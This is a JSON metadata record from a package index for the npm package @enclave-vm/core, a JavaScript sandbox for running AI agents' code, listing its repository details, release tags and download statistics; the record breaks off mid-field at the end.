{"id":13609531,"name":"@enclave-vm/core","ecosystem":"npm","description":"Sandbox runtime for secure JavaScript code execution","homepage":"https://github.com/agentfront/enclave","licenses":"Apache-2.0","normalized_licenses":["Apache-2.0"],"repository_url":"https://github.com/agentfront/enclave","keywords_array":["sandbox","vm","enclave","enclave-vm","agentscript","llm","javascript","execution","security","ast-guard"],"namespace":"enclave-vm","versions_count":16,"first_release_published_at":"2026-01-28T21:26:11.727Z","latest_release_published_at":"2026-08-07T00:05:04.022Z","latest_release_number":"2.15.2","last_synced_at":"2026-09-12T09:32:51.760Z","created_at":"2026-02-11T23:16:23.802Z","updated_at":"2026-09-12T09:32:51.760Z","registry_url":"https://www.npmjs.com/package/@enclave-vm/core","install_command":"npm install @enclave-vm/core","documentation_url":null,"metadata":{"funding":null,"dist-tags":{"latest":"2.15.2"},"contentPolicy":null},"repo_metadata":{"id":326972033,"uuid":"1107150740","full_name":"agentfront/enclave","owner":"agentfront","description":"A secure JavaScript sandbox designed for safe AI agent code execution. Protects against code injection, prototype pollution, and sandbox escapes. The security layer that makes AI-generated code safe to run.","archived":false,"fork":false,"pushed_at":"2026-08-07T00:11:27.000Z","size":10086,"stargazers_count":6,"open_issues_count":0,"forks_count":2,"subscribers_count":0,"default_branch":"main","last_synced_at":"2026-08-16T09:43:51.773Z","etag":null,"topics":["agents","ai","code-execution","enclave-vm","frontmcp","javascript-sandbox","mcp-server","runtime","sandbox","security"],"latest_commit_sha":null,"homepage":"https://enclave.agentfront.dev","language":"TypeScript","has_issues":true,"has_wiki":null,"has_pages":null,"mirror_url":null,"source_name":null,"license":"apache-2.0","status":null,"scm":"git","pull_requests_enabled":true,"icon_url":"https://github.com/agentfront.png","metadata":{"files":{"readme":"README-ARCHITECTURE.md","changelog":"CHANGELOG.md","contributing":null,"funding":null,"license":"LICENSE","code_of_conduct":"CODE_OF_CONDUCT.md","threat_model":null,"audit":null,"citation":null,"codeowners":null,"security":"SECURITY.md","support":null,"governance":null,"roadmap":null,"authors":null,"dei":null,"publiccode":null,"codemeta":null,"zenodo":null,"notice":null,"maintainers":null,"copyright":null,"agents":"AGENTS.md","dco":null,"cla":null}},"created_at":"2025-11-30T17:14:15.000Z","updated_at":"2026-08-07T00:11:47.000Z","dependencies_parsed_at":null,"dependency_job_id":null,"html_url":"https://github.com/agentfront/enclave","commit_stats":null,"previous_names":["agentfront/enclave"],"tags_count":37,"template":false,"template_full_name":null,"purl":"pkg:github/agentfront/enclave","repository_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/agentfront%2Fenclave","tags_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/agentfront%2Fenclave/tags","releases_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/agentfront%2Fenclave/releases","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/agentfront%2Fenclave/manifests","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/agentfront","download_url":"https://codeload.github.com/agentfront/enclave/tar.gz/refs/heads/main","sbom_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/agentfront%2Fenclave/sbom","scorecard":null,"host":{"name":"GitHub","url":"https://github.com","kind":"github","repositories_count":286080680,"owners_count":36917782,"icon_url":"https://github.com/github.png","version":null,"created_at":"2022-05-30T11:31:42.601Z","updated_at":"2026-08-22T15:14:58.755Z","status":"online","status_checked_at":"2026-08-26T02:00:06.703Z","response_time":94,"last_error":null,"robots_txt_status":"success","robots_txt_updated_at":"2025-07-24T06:49:26.215Z","robots_txt_url":"https://github.com/robots.txt","online":true,"can_crawl_api":true,"host_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories","repository_names_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repository_names","owners_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners"},"owner_record":{"login":"agentfront","name":"agentfront","uuid":"240770336","kind":"organization","description":null,"email":null,"website":null,"location":null,"twitter":null,"company":null,"icon_url":"https://avatars.githubusercontent.com/u/240770336?v=4","repositories_count":1,"last_synced_at":"2025-11-05T02:28:19.100Z","metadata":{"has_sponsors_listing":false},"html_url":"https://github.com/agentfront","funding_links":[],"total_stars":19,"followers":0,"following":0,"created_at":"2025-11-05T02:28:19.121Z","updated_at":"2025-11-05T02:28:19.121Z","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/agentfront","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/agentfront/repositories"},"tags":[{"name":"v2.15.1","sha":"203cb69a796578a78117e8a11d5835c1efc0f8e5","kind":"tag","published_at":"2026-07-26T00:48:51.000Z","download_url":"https://codeload.github.com/agentfront/enclave/tar.gz/v2.15.1","html_url":"https://github.com/agentfront/enclave/releases/tag/v2.15.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/agentfront/enclave@v2.15.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/agentfront%2Fenclave/tags/v2.15.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/agentfront%2Fenclave/tags/v2.15.1/manifests"},{"name":"v2.15.0","sha":"1ef5de35c7bab7ee438942b04be59febdd0d34c6","kind":"tag","published_at":"2026-07-18T22:46:23.000Z","download_url":"https://codeload.github.com/agentfront/enclave/tar.gz/v2.15.0","html_url":"https://github.com/agentfront/enclave/releases/tag/v2.15.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/agentfront/enclave@v2.15.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/agentfront%2Fenclave/tags/v2.15.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/agentfront%2Fenclave/tags/v2.15.0/manifests"},{"name":"v2.14.1","sha":"c74b1618c7328b3a3a858b49582b2911f549e547","kind":"tag","published_at":"2026-06-19T15:16:22.000Z","download_url":"https://codeload.github.com/agentfront/enclave/tar.gz/v2.14.1","html_url":"https://github.com/agentfront/enclave/releases/tag/v2.14.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/agentfront/enclave@v2.14.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/agentfront%2Fenclave/tags/v2.14.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/agentfront%2Fenclave/tags/v2.14.1/manifests"},{"name":"v2.14.0","sha":"8587e0b2cb6004bda168ee1399650fc3fa62b496","kind":"tag","published_at":"2026-06-18T21:41:17.000Z","download_url":"https://codeload.github.com/agentfront/enclave/tar.gz/v2.14.0","html_url":"https://github.com/agentfront/enclave/releases/tag/v2.14.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/agentfront/enclave@v2.14.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/agentfront%2Fenclave/tags/v2.14.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/agentfront%2Fenclave/tags/v2.14.0/manifests"},{"name":"v2.13.0","sha":"01ff760e8fc79f94c76a5db90310bb589fc172a0","kind":"tag","published_at":"2026-04-02T00:03:50.000Z","download_url":"https://codeload.github.com/agentfront/enclave/tar.gz/v2.13.0","html_url":"https://github.com/agentfront/enclave/releases/tag/v2.13.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/agentfront/enclave@v2.13.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/agentfront%2Fenclave/tags/v2.13.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/agentfront%2Fenclave/tags/v2.13.0/manifests"},{"name":"v2.12.0","sha":"d20b35221fb22c1430a556b2ccd4f37e44dc21a2","kind":"tag","published_at":"2026-02-25T13:12:15.000Z","download_url":"https://codeload.github.com/agentfront/enclave/tar.gz/v2.12.0","html_url":"https://github.com/agentfront/enclave/releases/tag/v2.12.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/agentfront/enclave@v2.12.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/agentfront%2Fenclave/tags/v2.12.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/agentfront%2Fenclave/tags/v2.12.0/manifests"},{"name":"v2.11.1","sha":"0ec916f6676df2a5e9792f17f648b9aeefa79394","kind":"tag","published_at":"2026-02-22T12:07:57.000Z","download_url":"https://codeload.github.com/agentfront/enclave/tar.gz/v2.11.1","html_url":"https://github.com/agentfront/enclave/releases/tag/v2.11.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/agentfront/enclave@v2.11.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/agentfront%2Fenclave/tags/v2.11.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/agentfront%2Fenclave/tags/v2.11.1/manifests"},{"name":"v2.11.0","sha":"1dd877cf30d1eafd9ace6c47dea74aa07c5cbc23","kind":"tag","published_at":"2026-02-20T22:56:41.000Z","download_url":"https://codeload.github.com/agentfront/enclave/tar.gz/v2.11.0","html_url":"https://github.com/agentfront/enclave/releases/tag/v2.11.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/agentfront/enclave@v2.11.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/agentfront%2Fenclave/tags/v2.11.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/agentfront%2Fenclave/tags/v2.11.0/manifests"},{"name":"v2.10.1","sha":"7a9b981e9986bbd14055247e1474397713e533ff","kind":"tag","published_at":"2026-02-03T02:34:50.000Z","download_url":"https://codeload.github.com/agentfront/enclave/tar.gz/v2.10.1","html_url":"https://github.com/agentfront/enclave/releases/tag/v2.10.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/agentfront/enclave@v2.10.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/agentfront%2Fenclave/tags/v2.10.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/agentfront%2Fenclave/tags/v2.10.1/manifests"},{"name":"v2.10.0","sha":"2972333dc6aea77430507a186cba32a491b5cbe1","kind":"tag","published_at":"2026-02-01T12:55:33.000Z","download_url":"https://codeload.github.com/agentfront/enclave/tar.gz/v2.10.0","html_url":"https://github.com/agentfront/enclave/releases/tag/v2.10.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/agentfront/enclave@v2.10.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/agentfront%2Fenclave/tags/v2.10.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/agentfront%2Fenclave/tags/v2.10.0/manifests"},{"name":"v2.9.2","sha":"e13a6dc42b0fe9e7f0e1c4bf40e2a78790bf1847","kind":"tag","published_at":"2026-01-30T07:16:59.000Z","download_url":"https://codeload.github.com/agentfront/enclave/tar.gz/v2.9.2","html_url":"https://github.com/agentfront/enclave/releases/tag/v2.9.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/agentfront/enclave@v2.9.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/agentfront%2Fenclave/tags/v2.9.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/agentfront%2Fenclave/tags/v2.9.2/manifests"},{"name":"v2.9.1","sha":"135008065bab3ce9143faa6d579c0c908079031d","kind":"tag","published_at":"2026-01-30T06:20:28.000Z","download_url":"https://codeload.github.com/agentfront/enclave/tar.gz/v2.9.1","html_url":"https://github.com/agentfront/enclave/releases/tag/v2.9.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/agentfront/enclave@v2.9.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/agentfront%2Fenclave/tags/v2.9.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/agentfront%2Fenclave/tags/v2.9.1/manifests"},{"name":"v2.9.0","sha":"0b217fac93b200708f1b73ad2c335046f5cd7cca","kind":"tag","published_at":"2026-01-29T01:05:40.000Z","download_url":"https://codeload.github.com/agentfront/enclave/tar.gz/v2.9.0","html_url":"https://github.com/agentfront/enclave/releases/tag/v2.9.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/agentfront/enclave@v2.9.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/agentfront%2Fenclave/tags/v2.9.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/agentfront%2Fenclave/tags/v2.9.0/manifests"},{"name":"ast-guard@2.4.0","sha":"09f9b53177977469d33f08fe757c802565e2b708","kind":"tag","published_at":"2026-01-09T02:30:34.000Z","download_url":"https://codeload.github.com/agentfront/enclave/tar.gz/ast-guard@2.4.0","html_url":"https://github.com/agentfront/enclave/releases/tag/ast-guard@2.4.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/agentfront/enclave@ast-guard%402.4.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/agentfront%2Fenclave/tags/ast-guard@2.4.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/agentfront%2Fenclave/tags/ast-guard@2.4.0/manifests"},{"name":"enclave-vm@2.7.0","sha":"09f9b53177977469d33f08fe757c802565e2b708","kind":"tag","published_at":"2026-01-09T02:30:33.000Z","download_url":"https://codeload.github.com/agentfront/enclave/tar.gz/enclave-vm@2.7.0","html_url":"https://github.com/agentfront/enclave/releases/tag/enclave-vm@2.7.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/agentfront/enclave@enclave-vm%402.7.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/agentfront%2Fenclave/tags/enclave-vm@2.7.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/agentfront%2Fenclave/tags/enclave-vm@2.7.0/manifests"},{"name":"enclave-vm@2.6.0","sha":"f753d306cb178c46445af30ffd05dcfa4722cc00","kind":"tag","published_at":"2026-01-08T18:58:06.000Z","download_url":"https://codeload.github.com/agentfront/enclave/tar.gz/enclave-vm@2.6.0","html_url":"https://github.com/agentfront/enclave/releases/tag/enclave-vm@2.6.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/agentfront/enclave@enclave-vm%402.6.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/agentfront%2Fenclave/tags/enclave-vm@2.6.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/agentfront%2Fenclave/tags/enclave-vm@2.6.0/manifests"},{"name":"ast-guard@2.3.0","sha":"f753d306cb178c46445af30ffd05dcfa4722cc00","kind":"tag","published_at":"2026-01-08T18:58:06.000Z","download_url":"https://codeload.github.com/agentfront/enclave/tar.gz/ast-guard@2.3.0","html_url":"https://github.com/agentfront/enclave/releases/tag/ast-guard@2.3.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/agentfront/enclave@ast-guard%402.3.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/agentfront%2Fenclave/tags/ast-guard@2.3.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/agentfront%2Fenclave/tags/ast-guard@2.3.0/manifests"},{"name":"ast-guard@2.2.0","sha":"3928642efafbe3722dc54fd1c93756b40aa344a6","kind":"tag","published_at":"2026-01-07T20:55:02.000Z","download_url":"https://codeload.github.com/agentfront/enclave/tar.gz/ast-guard@2.2.0","html_url":"https://github.com/agentfront/enclave/releases/tag/ast-guard@2.2.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/agentfront/enclave@ast-guard%402.2.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/agentfront%2Fenclave/tags/ast-guard@2.2.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/agentfront%2Fenclave/tags/ast-guard@2.2.0/manifests"},{"name":"vectoriadb@2.0.2","sha":"3928642efafbe3722dc54fd1c93756b40aa344a6","kind":"tag","published_at":"2026-01-07T20:55:01.000Z","download_url":"https://codeload.github.com/agentfront/enclave/tar.gz/vectoriadb@2.0.2","html_url":"https://github.com/agentfront/enclave/releases/tag/vectoriadb@2.0.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/agentfront/enclave@vectoriadb%402.0.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/agentfront%2Fenclave/tags/vectoriadb@2.0.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/agentfront%2Fenclave/tags/vectoriadb@2.0.2/manifests"},{"name":"enclave-vm@2.5.0","sha":"3928642efafbe3722dc54fd1c93756b40aa344a6","kind":"tag","published_at":"2026-01-07T20:55:00.000Z","download_url":"https://codeload.github.com/agentfront/enclave/tar.gz/enclave-vm@2.5.0","html_url":"https://github.com/agentfront/enclave/releases/tag/enclave-vm@2.5.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/agentfront/enclave@enclave-vm%402.5.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/agentfront%2Fenclave/tags/enclave-vm@2.5.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/agentfront%2Fenclave/tags/enclave-vm@2.5.0/manifests"},{"name":"ast-guard@2.1.0","sha":"ea85dbf2806508275a02fd49729c32c2d4e76567","kind":"tag","published_at":"2026-01-06T14:11:56.000Z","download_url":"https://codeload.github.com/agentfront/enclave/tar.gz/ast-guard@2.1.0","html_url":"https://github.com/agentfront/enclave/releases/tag/ast-guard@2.1.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/agentfront/enclave@ast-guard%402.1.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/agentfront%2Fenclave/tags/ast-guard@2.1.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/agentfront%2Fenclave/tags/ast-guard@2.1.0/manifests"},{"name":"enclave-vm@2.4.0","sha":"ea85dbf2806508275a02fd49729c32c2d4e76567","kind":"tag","published_at":"2026-01-06T14:11:55.000Z","download_url":"https://codeload.github.com/agentfront/enclave/tar.gz/enclave-vm@2.4.0","html_url":"https://github.com/agentfront/enclave/releases/tag/enclave-vm@2.4.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/agentfront/enclave@enclave-vm%402.4.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/agentfront%2Fenclave/tags/enclave-vm@2.4.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/agentfront%2Fenclave/tags/enclave-vm@2.4.0/manifests"},{"name":"ast-guard@2.0.0","sha":"8c67fb993f5f82fd77a68c8b4a9629d1da20ef73","kind":"tag","published_at":"2026-01-06T02:17:18.000Z","download_url":"https://codeload.github.com/agentfront/enclave/tar.gz/ast-guard@2.0.0","html_url":"https://github.com/agentfront/enclave/releases/tag/ast-guard@2.0.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/agentfront/enclave@ast-guard%402.0.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/agentfront%2Fenclave/tags/ast-guard@2.0.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/agentfront%2Fenclave/tags/ast-guard@2.0.0/manifests"},{"name":"enclave-vm@2.3.0","sha":"8c67fb993f5f82fd77a68c8b4a9629d1da20ef73","kind":"tag","published_at":"2026-01-06T02:17:17.000Z","download_url":"https://codeload.github.com/agentfront/enclave/tar.gz/enclave-vm@2.3.0","html_url":"https://github.com/agentfront/enclave/releases/tag/enclave-vm@2.3.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/agentfront/enclave@enclave-vm%402.3.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/agentfront%2Fenclave/tags/enclave-vm@2.3.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/agentfront%2Fenclave/tags/enclave-vm@2.3.0/manifests"},{"name":"enclave-vm@2.2.0","sha":"cbe952fa189c9ac458e9169f32c8dbd337159630","kind":"tag","published_at":"2026-01-05T17:18:43.000Z","download_url":"https://codeload.github.com/agentfront/enclave/tar.gz/enclave-vm@2.2.0","html_url":"https://github.com/agentfront/enclave/releases/tag/enclave-vm@2.2.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/agentfront/enclave@enclave-vm%402.2.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/agentfront%2Fenclave/tags/enclave-vm@2.2.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/agentfront%2Fenclave/tags/enclave-vm@2.2.0/manifests"},{"name":"ast-guard@1.1.2","sha":"cbe952fa189c9ac458e9169f32c8dbd337159630","kind":"tag","published_at":"2026-01-05T17:18:43.000Z","download_url":"https://codeload.github.com/agentfront/enclave/tar.gz/ast-guard@1.1.2","html_url":"https://github.com/agentfront/enclave/releases/tag/ast-guard@1.1.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/agentfront/enclave@ast-guard%401.1.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/agentfront%2Fenclave/tags/ast-guard@1.1.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/agentfront%2Fenclave/tags/ast-guard@1.1.2/manifests"},{"name":"enclave-vm@2.1.0","sha":"6b58618812b603be736ff1aae68b1cecece5bcb6","kind":"tag","published_at":"2026-01-05T01:30:50.000Z","download_url":"https://codeload.github.com/agentfront/enclave/tar.gz/enclave-vm@2.1.0","html_url":"https://github.com/agentfront/enclave/releases/tag/enclave-vm@2.1.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/agentfront/enclave@enclave-vm%402.1.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/agentfront%2Fenclave/tags/enclave-vm@2.1.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/agentfront%2Fenclave/tags/enclave-vm@2.1.0/manifests"},{"name":"enclave-vm@2.0.0","sha":"a9bbd2dcd0be047e50173f7dc9c1742f2ba1561a","kind":"tag","published_at":"2026-01-04T12:31:45.000Z","download_url":"https://codeload.github.com/agentfront/enclave/tar.gz/enclave-vm@2.0.0","html_url":"https://github.com/agentfront/enclave/releases/tag/enclave-vm@2.0.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/agentfront/enclave@enclave-vm%402.0.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/agentfront%2Fenclave/tags/enclave-vm@2.0.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/agentfront%2Fenclave/tags/enclave-vm@2.0.0/manifests"},{"name":"ast-guard@1.1.1","sha":"a02454b360ce8ade0e69b289f6f4fe50304f188d","kind":"tag","published_at":"2025-12-12T00:43:27.000Z","download_url":"https://codeload.github.com/agentfront/enclave/tar.gz/ast-guard@1.1.1","html_url":"https://github.com/agentfront/enclave/releases/tag/ast-guard@1.1.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/agentfront/enclave@ast-guard%401.1.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/agentfront%2Fenclave/tags/ast-guard@1.1.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/agentfront%2Fenclave/tags/ast-guard@1.1.1/manifests"},{"name":"vectoriadb@2.0.1","sha":"a02454b360ce8ade0e69b289f6f4fe50304f188d","kind":"tag","published_at":"2025-12-12T00:43:26.000Z","download_url":"https://codeload.github.com/agentfront/enclave/tar.gz/vectoriadb@2.0.1","html_url":"https://github.com/agentfront/enclave/releases/tag/vectoriadb@2.0.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/agentfront/enclave@vectoriadb%402.0.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/agentfront%2Fenclave/tags/vectoriadb@2.0.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/agentfront%2Fenclave/tags/vectoriadb@2.0.1/manifests"},{"name":"enclave-vm@1.0.3","sha":"a02454b360ce8ade0e69b289f6f4fe50304f188d","kind":"tag","published_at":"2025-12-12T00:43:26.000Z","download_url":"https://codeload.github.com/agentfront/enclave/tar.gz/enclave-vm@1.0.3","html_url":"https://github.com/agentfront/enclave/releases/tag/enclave-vm@1.0.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/agentfront/enclave@enclave-vm%401.0.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/agentfront%2Fenclave/tags/enclave-vm@1.0.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/agentfront%2Fenclave/tags/enclave-vm@1.0.3/manifests"},{"name":"ast-guard@1.1.0","sha":"4e5377e60c4f2eff767d0b9ebacf5a221e37ea11","kind":"tag","published_at":"2025-12-12T00:31:17.000Z","download_url":"https://codeload.github.com/agentfront/enclave/tar.gz/ast-guard@1.1.0","html_url":"https://github.com/agentfront/enclave/releases/tag/ast-guard@1.1.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/agentfront/enclave@ast-guard%401.1.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/agentfront%2Fenclave/tags/ast-guard@1.1.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/agentfront%2Fenclave/tags/ast-guard@1.1.0/manifests"},{"name":"vectoriadb@2.0.0","sha":"4e5377e60c4f2eff767d0b9ebacf5a221e37ea11","kind":"tag","published_at":"2025-12-12T00:31:16.000Z","download_url":"https://codeload.github.com/agentfront/enclave/tar.gz/vectoriadb@2.0.0","html_url":"https://github.com/agentfront/enclave/releases/tag/vectoriadb@2.0.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/agentfront/enclave@vectoriadb%402.0.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/agentfront%2Fenclave/tags/vectoriadb@2.0.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/agentfront%2Fenclave/tags/vectoriadb@2.0.0/manifests"},{"name":"enclave-vm@1.0.2","sha":"4e5377e60c4f2eff767d0b9ebacf5a221e37ea11","kind":"tag","published_at":"2025-12-12T00:31:16.000Z","download_url":"https://codeload.github.com/agentfront/enclave/tar.gz/enclave-vm@1.0.2","html_url":"https://github.com/agentfront/enclave/releases/tag/enclave-vm@1.0.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/agentfront/enclave@enclave-vm%401.0.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/agentfront%2Fenclave/tags/enclave-vm@1.0.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/agentfront%2Fenclave/tags/enclave-vm@1.0.2/manifests"},{"name":"v2.0.0","sha":"4e5377e60c4f2eff767d0b9ebacf5a221e37ea11","kind":"tag","published_at":"2025-12-12T00:31:15.000Z","download_url":"https://codeload.github.com/agentfront/enclave/tar.gz/v2.0.0","html_url":"https://github.com/agentfront/enclave/releases/tag/v2.0.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/agentfront/enclave@v2.0.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/agentfront%2Fenclave/tags/v2.0.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/agentfront%2Fenclave/tags/v2.0.0/manifests"},{"name":"v1.1.0","sha":"7b6e43354ef8f9bf914f4c0d6ecbac213d07c528","kind":"tag","published_at":"2025-12-11T02:04:14.000Z","download_url":"https://codeload.github.com/agentfront/enclave/tar.gz/v1.1.0","html_url":"https://github.com/agentfront/enclave/releases/tag/v1.1.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/agentfront/enclave@v1.1.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/agentfront%2Fenclave/tags/v1.1.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/agentfront%2Fenclave/tags/v1.1.0/manifests"},{"name":"v1.0.0","sha":"ed0ce7823ba16e9adf8ef3d06c813bd41e961c9a","kind":"tag","published_at":"2025-11-30T23:52:29.000Z","download_url":"https://codeload.github.com/agentfront/enclave/tar.gz/v1.0.0","html_url":"https://github.com/agentfront/enclave/releases/tag/v1.0.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/agentfront/enclave@v1.0.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/agentfront%2Fenclave/tags/v1.0.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/agentfront%2Fenclave/tags/v1.0.0/manifests"}]},"repo_metadata_updated_at":"2026-08-29T05:05:52.185Z","dependent_packages_count":0,"downloads":3501,"downloads_period":"last-month","dependent_repos_count":0,"rankings":{"downloads":3.041432325250939,"dependent_repos_count":22.945251037738736,"dependent_packages_count":33.08080111572745,"stargazers_count":null,"forks_count":n